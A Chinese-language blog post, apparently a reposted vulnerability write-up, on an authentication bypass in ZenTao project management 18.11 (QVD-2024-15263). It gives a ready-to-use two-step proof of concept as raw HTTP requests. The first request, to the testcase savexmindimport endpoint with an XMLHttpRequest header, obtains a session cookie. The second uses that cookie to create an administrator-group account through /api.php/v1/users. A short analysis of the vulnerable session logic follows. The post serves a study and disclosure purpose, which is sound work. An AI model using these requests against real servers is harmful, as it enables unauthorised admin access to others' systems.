侵权声明
本文章中的全部内容(包括但不限于笔墨、图像和其他媒体)仅供教诲和参考目标。如果在本文章中利用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者全部。
如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [360619623@qq.com]。我们将在确认后的合理时间内接纳适当措施,包括删除干系内容。
感谢您的明白与支持
基本信息
版本
18.11
poc
获取cookie- GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
- Host:demo.com
复制代码 利用cookie,创建用户- POST /api.php/v1/users HTTP/1.1
- Host:demo.com
- Cookie: zentaosid=hfoq8srqabdgo0pq4ukcb28gob; lang=zh-cn; device=desktop; theme=default
- Content-Length: 77
- {"account": "0koo", "password": "Candao1", "realname": "0koo", "group":"1"}
复制代码 分析
没有什么实例只能通过poc反推加别人的帖子进行分析了。
首先看到poc所调用的saveXmindImport()函数。跟进deny()函数
可以发现$this->session->set('user', $user);将$user设置成超级变量的成员值,即对当前的session添加了一个user属性。
继承跟进set()函数
就是的$_SESSION的user变量赋值。
获取cookie
接下来分析该如怎样能够调用到saveXmindImport()函数。
首先实例化一个testcase对象,函数如下。
可以看到这里有一个判断,如果两个条件都满意本次初始化就结束了,就不会执行后面的语句了。跟进isAjaxRequest()函数。
可以看到如果请求中存在HTTP_X_REQUESTED_WITH参数并且该参数的值为XMLHttpRequest就会返回true
利用cookie创建用户
通过poc找到文件位置。
其中如果没有gendar参数会直接return退出,并且该参数还是指定权限大小的,如果没有realname参数会报错退出,都不会生成用户
复现
1、获取cookie
2、创建用户
3、登录
总结
第一次分析逻辑毛病,难度还是有的。感觉还是太暴躁了,仔细一点说不定也能看到deny()函数。
不过还是学到了可以通过在全局参数$_SESSION中加入特定参数实现越权。
修复
更新,没有什么好说的
参考
【毛病复现】禅道——未授权登入(QVD-2024-15263)_禅道毛病复现-CSDN博客
QVD-2024-15263 禅道项目管理系统身份认证绕过毛病 - 先知社区 (aliyun.com)
免责声明
本博客所提供的技术知识和信息仅旨在教诲和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目标。
利用本博客内容而导致的任何违法举动或后果,作者不承担任何法律责任。全部读者在利用本博客的信息时,应自行承担风险,并确保服从本地法律法规。
我们鼓励全部读者合法地利用所提供的信息和技术,致力于维护安全和负责任的网络环境。
感谢您的明白与支持。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |